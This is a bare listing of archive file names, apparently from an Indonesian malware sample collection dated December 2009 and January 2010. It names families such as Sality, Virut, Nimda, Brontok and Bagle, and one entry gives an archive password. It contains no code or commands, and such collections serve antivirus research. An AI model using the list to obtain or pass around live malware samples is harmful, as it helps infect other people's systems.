Sampel virus by coe88.zip
Sampel virus zPharaoh.zip
Setup.rar
y-Alman.Varian.rar
y-Brontok.rar
y-Email.Worm.lagi.rar
y-Email.Worm.rar
y-Nimda.htm.rar
y-Runonce.Lagi.rar
y-Runonce.worm.rar
y-Sality.AA.rar
y-Sality.AM.rar
y-Sality.Injected.rar
y-Sality.lagi.rar
y-Sality.Varian.lagi.rar
y-sality.varian.rar
y-Suspected.Autorun.rar
y-Suspected.Generic.rar
y-Suspected.virus.rar
y-Thumbss.vbs.rar
y-Trafaret.Worm.rar
y-Trojan-Gen.rar
y-Trojan.Gen.Varian.B.rar
y-Trojan.Gen.varian.C.rar
y-Trojan.Gen.varian.rar
y-Virut.Injected.rar
y-Worm.Agent.zip
y-Worm.Agent2.zip
y-Worm.Saber.Autorun.rar
y-Yuyun.Varian.rar
y.GameThief.rar
Koleksi Virus Bulan Desember 2009
(2) y-Suspected.Virus.rar
a-fake file.zip
ABG.Gila.rar
al.rar
autorun.rar
Autorunme.Worm.rar
Backdoor.PHP.Small.o [Kaspersky].rar
BAT.Mita.rar
By Neo_BKB_Setup.exe
Cuakep.Baru.rar
Cuakep.Varian.rar
FlashDiskLock.rar
Gen.Troj.rar
gendel32.Trojan.rar
I miss you. Varian.rar
Infected.Autorun.Worm.rar
m.rar
Malware.by.Shafry.rar
Mita.vbs.rar
Morphirii.rar
MP3.Samson.Worm.rar
msvbvm60.rar
New.Virus.rar
New.virus.rar
Nimda.htm.rar
Playboy.A.rar
Playboy.B.rar
Runonce.Infected.rar
Runonce.Varian.rar
Sadic.vbs.rar
Sample Virus 11 Des 09.zip
Script.New.rar
sgemtx.rar
shireen_sungkar.rar
Smadav 7.3.rar
svchost.7z
Trojan.Downloader.html.rar
Trojan.Lagi.rar
vbs.script.rar
virus Bokep.rar
Virus CoPas by Maxx.rar
Virus.BDEWASA.zip
Virus.item.rar
Virus.rar
Worm.Bagle.AG.2.exe.gz
y-Ardamax.Worm.rar
y-Autorun.Worm.rar
y-Gadis.Ancol.rar
y-Gen.troj.rar
y-JS.Agent.Troj.rar
y-Malingsia.Varian.2.rar
y-Malingsia.Varian.3.rar
y-Malingsia.Varian.rar
y-Sality.Varian.rar
y-Sex.17Tahun.rar
y-Suspected.Virus.rar
y-Trojan.Acad.rar
y-Trojan.Backdoor.rar
y-Trojan.Dropper.rar
y-Trojan.FatalError.rar
y-Trojan.Gen.Lagi.rar
y-Trojan.Gen.rar
y-Trojan.Gen.Varian.rar
y-Virus.Acad.rar
Yuyun.Thumb.lagi.rar
Yuyun.Thumb.Varian.rar
Koleksi Virus Januari 2010
Autoit.Varian.rar
autorunme.Recycler.rar
autorunme.Recycler.zip
bukan virus.rar
Cinta.Laura.Worm.rar
Gen.Troj.Yahoo.B.rar
IRC.Worm.rar
iseng.vbs.rar
New Folder.rar
New.Virus.rar
New.Virus.Undeepfreeze.zip
Nimda.htm.rar
Pharaoh(pass=1234).rar
rad05b8f.zip
Recycler.scr.rar
Recycler.Varian.rar
Sality.Varian.hkcmd.zip
Sality.Varian.lagi.rar
Sality.Varian.rar
Script.vbs.rar
Trojan.Dropper.rar
VIDEO maria OZAWA 2.zip
Vira.Worm.zip
virus ternate.daa
Worm.Gen.rar